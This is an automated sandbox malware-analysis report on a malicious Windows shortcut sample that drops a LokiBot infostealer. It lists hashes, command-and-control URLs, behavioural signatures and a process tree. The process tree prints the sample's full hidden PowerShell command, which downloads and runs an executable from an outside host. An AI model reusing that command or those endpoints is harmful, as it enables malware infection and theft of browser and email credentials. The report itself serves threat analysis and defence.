Analysis
- max time kernel
126s - max time network
127s - platform
windows10-2004_x64 - resource
win10v2004-20240802-en - resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system - submitted
06/08/2024, 01:18
Static task
static1
Behavioral task
behavioral1
Sample
15e851a4cb9c2270b109a2a346b9ce9a8c15104825b211a4194b3113c60f8ba3.lnk
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
15e851a4cb9c2270b109a2a346b9ce9a8c15104825b211a4194b3113c60f8ba3.lnk
Resource
win10v2004-20240802-en
General
- Target 15e851a4cb9c2270b109a2a346b9ce9a8c15104825b211a4194b3113c60f8ba3.lnk
- Size 2KB
- Sample240806-bnzyjaydqf
- SHA256 15e851a4cb9c2270b109a2a346b9ce9a8c15104825b211a4194b3113c60f8ba3
- MD5 1d5c4d5d15b7556fe88893a7352efbf8
- SHA1 124b6911e134fc0ef7d75293bf7736941a5b26e9
- SHA512 f678b94722a6d1b6ca4c84c6ea4ea9f116fb56d79000d646f6d1f044cd40069738809babc18972c637d4c457ba82aa1e207cebee756a05cc030e30a8b7b9b244
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://www.requimacofradian.site/dfjbhskdbfvsdsfgsh/bzdjgbsdzjkngdsnhgtuonidsgtsgb/neio.exe
Extracted
-
lokibot
-
http://94.156.66.169:5788/bhvstgd/Panel/five/fre.php
-
http://kbfvzoboss.bid/alien/fre.php
-
http://alphastand.trade/alien/fre.php
-
http://alphastand.win/alien/fre.php
-
http://alphastand.top/alien/fre.php
Signatures
- Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
- Blocklisted process makes network request 1 IoCs
flow pid Process 7 1060 PoWeRsheLl.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1060 PoWeRsheLl.exe - Downloads MZ/PE file
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation cmd.exe - Executes dropped EXE 3 IoCs
pid Process 3140 doubles.exe 2236 doubles.exe 908 doubles.exe - Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook doubles.exe Key opened \REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook doubles.exe Key opened \REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook doubles.exe - Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 3140 set thread context of 2236 3140 doubles.exe 89 PID 3140 set thread context of 908 3140 doubles.exe 90 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language doubles.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1060 PoWeRsheLl.exe 1060 PoWeRsheLl.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 1060 PoWeRsheLl.exe Token: SeDebugPrivilege 3140 doubles.exe Token: SeDebugPrivilege 2236 doubles.exe - Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2444 wrote to memory of 1060 2444 cmd.exe 84 PID 2444 wrote to memory of 1060 2444 cmd.exe 84 PID 1060 wrote to memory of 3140 1060 PoWeRsheLl.exe 88 PID 1060 wrote to memory of 3140 1060 PoWeRsheLl.exe 88 PID 1060 wrote to memory of 3140 1060 PoWeRsheLl.exe 88 PID 3140 wrote to memory of 2236 3140 doubles.exe 89 PID 3140 wrote to memory of 2236 3140 doubles.exe 89 PID 3140 wrote to memory of 2236 3140 doubles.exe 89 PID 3140 wrote to memory of 2236 3140 doubles.exe 89 PID 3140 wrote to memory of 2236 3140 doubles.exe 89 PID 3140 wrote to memory of 2236 3140 doubles.exe 89 PID 3140 wrote to memory of 2236 3140 doubles.exe 89 PID 3140 wrote to memory of 2236 3140 doubles.exe 89 PID 3140 wrote to memory of 2236 3140 doubles.exe 89 PID 3140 wrote to memory of 908 3140 doubles.exe 90 PID 3140 wrote to memory of 908 3140 doubles.exe 90 PID 3140 wrote to memory of 908 3140 doubles.exe 90 PID 3140 wrote to memory of 908 3140 doubles.exe 90 PID 3140 wrote to memory of 908 3140 doubles.exe 90 PID 3140 wrote to memory of 908 3140 doubles.exe 90 PID 3140 wrote to memory of 908 3140 doubles.exe 90 PID 3140 wrote to memory of 908 3140 doubles.exe 90 PID 3140 wrote to memory of 908 3140 doubles.exe 90 - outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook doubles.exe - outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook doubles.exe
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\15e851a4cb9c2270b109a2a346b9ce9a8c15104825b211a4194b3113c60f8ba3.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2444 -
C:\Windows\System32\WindowsPowerShell\v1.0\PoWeRsheLl.exe"C:\Windows\System32\WindowsPowerShell\v1.0\PoWeRsheLl.exe" -ExecutionPolicy -Bypass -WindowStyle hiDdEn -HiDdEn --hiDDeN ---HiddeN ----HidDEn -Command msadp32.acm;(new-object System.Net.WebClient).DownloadFile('http://www.requimacofradian.site/dfjbhskdbfvsdsfgsh/bzdjgbsdzjkngdsnhgtuonidsgtsgb/neio.exe','doubles.exe');./'doubles.exe';(get-item 'doubles.exe').Attributes += 'Hidden';2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1060 -
C:\Users\Admin\AppData\Local\Temp\doubles.exe"C:\Users\Admin\AppData\Local\Temp\doubles.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3140 -
C:\Users\Admin\AppData\Local\Temp\doubles.exeC:\Users\Admin\AppData\Local\Temp\doubles.exe4⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:2236
-
-
C:\Users\Admin\AppData\Local\Temp\doubles.exeC:\Users\Admin\AppData\Local\Temp\doubles.exe4⤵
- Executes dropped EXE
PID:908
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qtdkp0fd.eyo.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\doubles.exe
- Size 368KB
- SHA256 7dd71d9e48bf5e2bdea15c97c6d800883bf88ecd1c51f55ab100e73984f9ca03
- MD5 e3cb14da97d1e7c055b7601275e1d75c
- SHA1 1c0d5e23e8e6501f99eb1b1b5c962050bfff2aa4
- SHA512 d59aee3c58746357411731dd928fb6cfb2769ec87088ced3ed1ba6baca77431f31f1acebef7c963bd1b74541756f3eb229fb66a03c24cf7a3b4e584f0195c926
- SSDEEP 6144:z0hpcKrKTbey/pyIzHRTO4iQSS4OLyEKhajQqLyAveAqL6L5HKnaI:z0h6MKmlQcHm4C6ajoA/Q6L5HKnv
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-4182098368-2521458979-3782681353-1000\0f5007522459c86e95ffcc62f32308f1_ea0aa4d6-aa48-4733-9e64-85ab59ce35b0
- Size 46B
- SHA256 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
- MD5 c07225d4e7d01d31042965f048728a0a
- SHA1 69d70b340fd9f44c89adb9a2278df84faa9906b7
- SHA512 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-4182098368-2521458979-3782681353-1000\0f5007522459c86e95ffcc62f32308f1_ea0aa4d6-aa48-4733-9e64-85ab59ce35b0
- Size 46B
- SHA256 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
- MD5 d898504a722bff1524134c6ab6a5eaa5
- SHA1 e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
- SHA512 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61
- MD5 SHA1 SHA512